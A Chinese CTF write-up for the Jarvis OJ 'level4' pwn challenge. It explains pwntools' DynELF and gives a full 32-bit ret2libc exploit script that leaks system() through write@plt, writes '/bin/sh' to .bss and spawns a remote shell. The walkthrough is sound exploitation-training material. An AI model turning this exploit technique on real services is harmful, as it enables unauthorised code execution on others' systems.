写在最前面:
在漏洞利用的时候,如果没有给出libc库,可以先泄漏两个函数的地址,然后再去查libc的版本号。但是,这种有时候可能失效。现在利用DynELF工具来泄漏system函数的地址,然后再往一个地方写’/bin/sh’字符串并构造调用system函数的栈。下面以Jarvis OJ中的level4这道题为例,使用DynELF实现漏洞利用。
在写之前先了解一下DynELF这个工具:
DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下。
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。
使用条件
不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用。
以下是大致归纳的主要使用条件:
- 目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;
- 目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。
当然,以上仅仅是实现利用的基本条件,不同的目标程序和运行环境都会有一些坑需要绕过。接下来,我们主要针对write和read这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题,给出相应的解决方法。
--引于安全客
JARVIS OJ上的一道题:
链接:https://pan.baidu.com/s/16DR-sNgWGBfOayuLrbCPJw 密码:9f7p
程序运行:
checksec查看一下保护:
开了NX栈内代码不可执行保护,且是一个32位程序,ida反汇编看一下溢出点:
可以看到在vulnerable_function()函数中buf存在明显溢出,且显示buf大小为0x88h,我们用gdb动态调试看一下具体的buf到ebp的大小,方法很多,这里用gdb带的pattern:
然后用pattern offest address
0x88+0x4=0x8c=140可见ida显示正确,之后看程序中是否有关键的系统system函数 “/bin/sh”字符:
经过查看没有,本题也没有给出远程的libc库,所以我们可以采用DynELF来泄露,思路就是通过DynELF模块泄露出system,然后将参数/bin/sh写入bss段上去。之后再次进行覆盖得到shell
上面已经给出了DynELF的模板,可以直接改写leak函数:
from pwn import *
io=remote("pwn2.jarvisoj.com",9880)
elf=ELF("./level4")
vuln=0x804844B
writeplt=elf.plt["write"]
readplt=elf.plt["read"]
bss_addr=elf.bss()
#泄露leak system地址
def leak(address):
payload="a"*0x88+"aaaa"+p32(writeplt)+p32(vuln)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
#print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex'))
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sysaddr=d.lookup("system","libc")
print hex(sysaddr)
#通过read函数写/bin/sh到bss段
payload1="a"*0x88+"aaaa"+p32(readplt)+p32(vuln)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
#pwn it
payload2="a"*0x88+"aaaa"+p32(sysaddr)+p32(vuln)+p32(bss_addr)
io.sendline(payload2)
io.interactive()
测试: